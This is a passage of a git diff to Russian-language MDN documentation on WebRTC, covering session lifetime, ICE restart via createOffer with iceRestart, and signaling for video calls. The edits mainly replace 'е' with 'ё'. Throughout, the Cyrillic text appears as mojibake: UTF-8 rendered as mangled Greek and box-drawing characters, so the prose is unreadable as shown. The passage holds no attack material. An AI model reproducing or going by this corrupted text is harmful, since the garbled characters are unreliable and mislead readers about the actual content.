- <li>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΡƒΠ·Π΅Π» создаСт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β {{domxref("RTCPeerConnection")}}, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ собой WebRTC-сСссию ΠΈ ΡΠΎΡ…Ρ€Π°Π½ΡΡŽΡ‰ΠΈΠΉΡΡ Π΄ΠΎ Π΅Ρ‘ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ.</li>
+ <li>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΡƒΠ·Π΅Π» создаёт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β {{domxref("RTCPeerConnection")}}, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ собой WebRTC-сСссию ΠΈ ΡΠΎΡ…Ρ€Π°Π½ΡΡŽΡ‰ΠΈΠΉΡΡ Π΄ΠΎ Π΅Ρ‘ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ.</li>
<li>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΡƒΠ·Π΅Π» устанавливаСт ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события {{event("icecandidate")}},которая занимаСтся ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΎΠΉ этих ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ² Π² Π΄Ρ€ΡƒΠ³ΡƒΡŽ сторону по ΠΊΠ°Π½Π°Π»Ρƒ сигнализации.</li>
- <li>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΡƒΠ·Π΅Π» устанавливаСт ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события {{event("addstream")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ срабатываСт ΠΊΠΎΠ³Π΄Π° Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ ΠΏΡ€ΠΈΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΏΠΎΡ‚ΠΎΠΊ Π΄Π°Π½Π½Ρ‹Ρ… ΠΎΡ‚ ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΡƒΠ·Π»Π°. Π­Ρ‚ΠΎΡ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ этот ΠΏΠΎΡ‚ΠΎΠΊΒ ΠΊ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΡŽ,Β Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΊ элСмСнту {{HTMLElement("video")}}.</li>
- <li>Π’Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ ΡƒΠ·Π΅Π» ΡΠΎΠ·Π΄Π°Π΅Ρ‚Β ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€, Ρ‚ΠΎΠΊΠ΅Π½ ΠΈΠ»ΠΈ Π½Π΅Ρ‡Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ смоТСт ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π²Ρ‹Π·ΠΎΠ² Π½Π° сигнальном сСрвСрС, ΠΈ ΠΎΠ±ΠΌΠ΅Π½ΠΈΠ²Π°Ρ‚ΡŒΡΡ с ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‰ΠΈΠΌ ΡƒΠ·Π»ΠΎΠΌ. Π€ΠΎΡ€ΠΌΠ° ΠΈ содСрТимоС ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° остаСтся Π½Π° усмотрСниС Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°.</li>
+ <li>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΡƒΠ·Π΅Π» устанавливаСт ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события {{event("addstream")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ срабатываСт ΠΊΠΎΠ³Π΄Π° Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ ΠΏΡ€ΠΈΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΏΠΎΡ‚ΠΎΠΊ Π΄Π°Π½Π½Ρ‹Ρ… ΠΎΡ‚ ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ ΡƒΠ·Π»Π°. Π­Ρ‚ΠΎΡ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ этот ΠΏΠΎΡ‚ΠΎΠΊΒ ΠΊ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΡŽ,Β Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΊ элСмСнту {{HTMLElement("video")}}.</li>
+ <li>Π’Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ ΡƒΠ·Π΅Π» ΡΠΎΠ·Π΄Π°Ρ‘Ρ‚Β ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€, Ρ‚ΠΎΠΊΠ΅Π½ ΠΈΠ»ΠΈ Π½Π΅Ρ‡Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ смоТСт ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π²Ρ‹Π·ΠΎΠ² Π½Π° сигнальном сСрвСрС, ΠΈ ΠΎΠ±ΠΌΠ΅Π½ΠΈΠ²Π°Ρ‚ΡŒΡΡ с ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‰ΠΈΠΌ ΡƒΠ·Π»ΠΎΠΌ. Π€ΠΎΡ€ΠΌΠ° ΠΈ содСрТимоС ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° остаётся Π½Π° усмотрСниС Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°.</li>
<li>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΡƒΠ·Π΅Π» ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ ΠΊ согласованному ΡΠΈΠ³Π½Π°Π»ΡŒΠ½ΠΎΠΌΡƒ сСрвСру, Ρ‚Π°ΠΊΠΎΠΌΡƒ Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΊΠ°ΠΊ извСстный ΠΎΠ±ΠΎΠΈΠΌ WebSocket-сСрвСр, для ΠΎΠ±ΠΌΠ΅Π½Π° сообщСниями.</li>
- <li>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΡƒΠ·Π΅Π» сообщаСт ΡΠΈΠ³Π½Π°Π»ΡŒΠ½ΠΎΠΌΡƒ сСрвСру, Ρ‡Ρ‚ΠΎ Ρ…ΠΎΡ‡Π΅Ρ‚ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒΡΡ ΠΊ ΠΎΠ΄Π½ΠΎΠΉ ΠΈ Ρ‚ΠΎΠΉ ΠΆΠ΅ WebRTC-сСссии (ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠΉ Ρ‚ΠΎΠΊΠ΅Π½ΠΎΠΌ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ Π½Π° шагС 4)</li>
+ <li>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΡƒΠ·Π΅Π» сообщаСт ΡΠΈΠ³Π½Π°Π»ΡŒΠ½ΠΎΠΌΡƒ сСрвСру, Ρ‡Ρ‚ΠΎ Ρ…ΠΎΡ‡Π΅Ρ‚ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒΡΡ ΠΊ ΠΎΠ΄Π½ΠΎΠΉ ΠΈ Ρ‚ΠΎΠΉ ΠΆΠ΅ WebRTC-сСссии (ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠΉ Ρ‚ΠΎΠΊΠ΅Π½ΠΎΠΌ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ Π½Π° шагС 4)</li>
<li><strong><em>descriptions, candidates, etc. -- more coming up</em></strong></li>
</ol>
<h2 id="ΠŸΠ΅Ρ€Π΅Π·Π°ΠΏΡƒΡΠΊ_сСссии_ICE_Π°Π³Π΅Π½Ρ‚"><strong>ΠŸΠ΅Ρ€Π΅Π·Π°ΠΏΡƒΡΠΊ сСссии ICE Π°Π³Π΅Π½Ρ‚</strong></h2>
-<p>Иногда, Π²ΠΎ врСмя срока слуТбы WebRTC сСссии, сСтСвыС условия ΠΈΠ·ΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ. Один ΠΈΠ· ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅Ρ‚Β ΠΎΡ‚ сотовой сСти к сСти WiFi ΠΈΠ»ΠΈ ΡΠ΅Ρ‚ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π³Ρ€ΡƒΠΆΠ΅Π½Π½ΠΎΠΉ. НапримСр:Β ΠΊΠΎΠ³Π΄Π° это ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚, ICE Π°Π³Π΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ сСссию. Π­Ρ‚ΠΎ процСсс, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ сСтСвоС соСдинСниС пСрСзапустится ΠΈ восстановится, Ρ‚ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ выполняСтся Π½Π°Ρ‡Π°Π»ΡŒΠ½Π°Ρ установка сСссии, Π·Π° ΠΎΠ΄Π½ΠΈΠΌ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ ΠΏΠΎΠΊΠ° Π½Π΅ установится новая сСссия. Π’ΠΎΠ³Π΄Π° сСссия смСняСтся ΠΈ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ ΠΊ Π½ΠΎΠ²ΠΎΠΌΡƒ сСтСвому соСдинСнию, Π° староС соСдинСниС закрываСтся.</p>
+<p>Иногда, Π²ΠΎ врСмя срока слуТбы WebRTC сСссии, сСтСвыС условия ΠΈΠ·ΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ. Один ΠΈΠ· ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘Ρ‚Β ΠΎΡ‚ сотовой сСти к сСти WiFi ΠΈΠ»ΠΈ ΡΠ΅Ρ‚ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π³Ρ€ΡƒΠΆΠ΅Π½Π½ΠΎΠΉ. НапримСр:Β ΠΊΠΎΠ³Π΄Π° это ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚, ICE Π°Π³Π΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ сСссию. Π­Ρ‚ΠΎ процСсс, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ сСтСвоС соСдинСниС пСрСзапустится ΠΈ восстановится, Ρ‚ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ выполняСтся Π½Π°Ρ‡Π°Π»ΡŒΠ½Π°Ρ установка сСссии, Π·Π° ΠΎΠ΄Π½ΠΈΠΌ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ ΠΏΠΎΠΊΠ° Π½Π΅ установится новая сСссия. Π’ΠΎΠ³Π΄Π° сСссия смСняСтся ΠΈ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ ΠΊ Π½ΠΎΠ²ΠΎΠΌΡƒ сСтСвому соСдинСнию, Π° староС соСдинСниС закрываСтся.</p>
<div class="note">
<p>Π Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ пСрСзапуск сСссии при разных условиях. НС всС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ пСрСзапуск сСссии ΠΈΠ·-Π·Π° ΠΏΠ΅Ρ€Π΅Π³Ρ€ΡƒΠ·ΠΊΠΈ сСти, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
@@ -77,7 +77,7 @@ translation_of: Web/API/WebRTC_API/Session_lifetime
<p>Π•ΡΡ‚ΡŒ Π΄Π²Π° уровня пСрСзапуска сСссии: полная ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° сСссии Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ всС ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠΉΠ½Ρ‹Π΅ ΠΏΠΎΡ‚ΠΎΠΊΠΈ Π² сСансС ΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ пСрСсмотрСны. Частичная ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° сСссии позволяСт Π°Π³Π΅Π½Ρ‚Ρƒ сСссии ΠΏΠ΅Ρ€Π΅Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ конкрСтный мСдиапоток вмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ  всС ΠΌΠ΅Π΄ΠΈΠ°Π΄Π°Π½Π½Ρ‹Π΅. НСкоторыС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΠΎΠΊΠ° Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Ρ‡Π°ΡΡ‚ΠΈΡ‡Π½ΡƒΡŽ ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ сСссии, ΠΎΠ΄Π½Π°ΠΊΠΎ. &lt;&lt;&lt; ВсС зависит ΠΎΡ‚ вашСго кодСрства... &gt;&gt;&gt;</p>
-<p>Если Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΡŽ соСдинСния ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΠΊ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ Π½Π°Π±ΠΎΡ€Ρƒ связи), Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это ΠΏΠ΅Ρ€Π΅Π΄ <code><a href="https://developer.mozilla.org/ru/docs/Web/API/RTCPeerConnection/setConfiguration" title="ДокумСнтация ΠΎΠ± этом Π΅Ρ‰Ρ‘ Π½Π΅ написана; поТалуйста, поспособствуйтС Π΅Ρ‘ написанию!">RTCPeerConnection.setConfiguration()</a>(ΠΏΠ΅Ρ€Π΅Π΄ Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ)</code> с ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π½ΠΎΠΉΒ <code><a href="https://developer.mozilla.org/ru/docs/Web/API/RTCConfiguration" title="ДокумСнтация ΠΎΠ± этом Π΅Ρ‰Ρ‘ Π½Π΅ написана; поТалуйста, поспособствуйтС Π΅Ρ‘ написанию!">RTCConfiguration</a>(ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠ΅ΠΉ)</code>Β ΠΏΠ΅Ρ€Π΅Π΄ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½Ρ‹ΠΌ запуском Π΄Π²ΠΈΠΆΠΊΠ°.</p>
+<p>Если Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΡŽ соСдинСния ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΠΊ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ Π½Π°Π±ΠΎΡ€Ρƒ связи), Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это ΠΏΠ΅Ρ€Π΅Π΄ <code><a href="https://developer.mozilla.org/ru/docs/Web/API/RTCPeerConnection/setConfiguration" title="ДокумСнтация ΠΎΠ± этом Π΅Ρ‰Ρ‘ Π½Π΅ написана; поТалуйста, поспособствуйтС Π΅Ρ‘ написанию!">RTCPeerConnection.setConfiguration()</a>(ΠΏΠ΅Ρ€Π΅Π΄ Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ)</code> с ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½Π½ΠΎΠΉΒ <code><a href="https://developer.mozilla.org/ru/docs/Web/API/RTCConfiguration" title="ДокумСнтация ΠΎΠ± этом Π΅Ρ‰Ρ‘ Π½Π΅ написана; поТалуйста, поспособствуйтС Π΅Ρ‘ написанию!">RTCConfiguration</a>(ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠ΅ΠΉ)</code>Β ΠΏΠ΅Ρ€Π΅Π΄ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½Ρ‹ΠΌ запуском Π΄Π²ΠΈΠΆΠΊΠ°.</p>
<p>Π§Ρ‚ΠΎΠ±Ρ‹ явно Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ пСрСзапуск сСссии, Π½ΡƒΠΆΠ½ΠΎ Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π³ΠΎΠ²ΠΎΡ€Π½Ρ‹ΠΉ процСсс с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π²Ρ‹Π·ΠΎΠ²Π° <code><a href="https://developer.mozilla.org/ru/docs/Web/API/RTCPeerConnection/createOffer" title="ДокумСнтация ΠΎΠ± этом Π΅Ρ‰Ρ‘ Π½Π΅ написана; поТалуйста, поспособствуйтС Π΅Ρ‘ написанию!">RTCPeerConnection.createOffer()</a>,</code>Β ΡƒΠΊΠ°Π·Π°Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ iceRestart(пСрСзапуск сСссии) со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ истины(true). Π—Π°Ρ‚Π΅ΠΌ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ процСсс соСдинСния Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Π²Ρ‹ это ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚Π΅.</p>
diff --git a/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html b/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html
index 844c8e0d19..73db097039 100644
--- a/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html
+++ b/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html
@@ -5,9 +5,9 @@ translation_of: Web/API/WebRTC_API/Signaling_and_video_calling
---
<div>{{WebRTCSidebar}}</div>
-<p><span class="seoSummary"><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a>Β ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚Β ΠΎΠ±ΠΌΠ΅Π½ΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΌΠ΅Π΄ΠΈΠ°Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ двумя устройствами Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ (peer-to-peer) Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ. Π‘ΠΎΠ΅Π΄ΠΈΠ½Π΅Π½ΠΈΠ΅ устанавливаСтся путСм обнаруТСния ΠΈ согласования, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΌΒ <strong>сигнализациСй (signaling)</strong>. Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚,Β ΠΊΠ°ΠΊ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ двусторонний Π²ΠΈΠ΄Π΅ΠΎΠ·Π²ΠΎΠ½ΠΎΠΊ.</span></p>
+<p><span class="seoSummary"><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a>Β ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚Β ΠΎΠ±ΠΌΠ΅Π½ΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΌΠ΅Π΄ΠΈΠ°Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ двумя устройствами Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ (peer-to-peer) Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ. Π‘ΠΎΠ΅Π΄ΠΈΠ½Π΅Π½ΠΈΠ΅ устанавливаСтся путём обнаруТСния ΠΈ согласования, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΌΒ <strong>сигнализациСй (signaling)</strong>. Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚,Β ΠΊΠ°ΠΊ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ двусторонний Π²ΠΈΠ΄Π΅ΠΎΠ·Π²ΠΎΠ½ΠΎΠΊ.</span></p>
-<p><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> это тСхнология прямого ΠΎΠ±ΠΌΠ΅Π½Π° Π°ΡƒΠ΄ΠΈΠΎ-, Π²ΠΈΠ΄Π΅ΠΎ- ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ с ΠΎΠ΄Π½ΠΈΠΌ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹ΠΌ условиСм. ΠŸΡ€ΠΎΡ†Π΅ΡΡ обнаруТСния ΠΈ согласования ΠΌΠ΅Π΄ΠΈΠ°Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠ² Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡ€ΠΎΠΈΡΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π²Π° устройства, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Π΅Β ΠΊΒ Ρ€Π°Π·Π½Ρ‹ΠΌΒ ΡΠ΅Ρ‚ΡΠΌ, ΠΌΠΎΠ³Π»ΠΈ Π»ΠΎΠΊΠ°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ Π΄Ρ€ΡƒΠ³Π°,Β <a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime#Establishing_a_connection">ΠΊΠ°ΠΊ ΠΎΠ±ΡΡƒΠΆΠ΄Π°Π»ΠΎΡΡŒ здСсь</a>. Π­Ρ‚ΠΎΡ‚ процСсс Π½Π°Π·Π²Π°Π½ <span class="seoSummary"><strong>сигнализациСй </strong></span>ΠΈ ΠΏΠΎΠ΄Ρ€Π°Π·ΡƒΠΌΠ΅Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ±Π° устройства ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ΡΡ ΠΊ Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ΠΌΡƒ, обоюдно согласованному сСрвСру.Β Π§Π΅Ρ€Π΅Π· Ρ‚Ρ€Π΅Ρ‚ΡŒΡŽ сторону устройства ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ адрСса Π΄Ρ€ΡƒΠ³ Π΄Ρ€ΡƒΠ³Π° ΠΈ ΠΎΠ±ΠΌΠ΅Π½ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΡΠΎΠ³Π»Π°ΡΡƒΡŽΡ‰ΠΈΠΌΠΈ сообщСниями.</p>
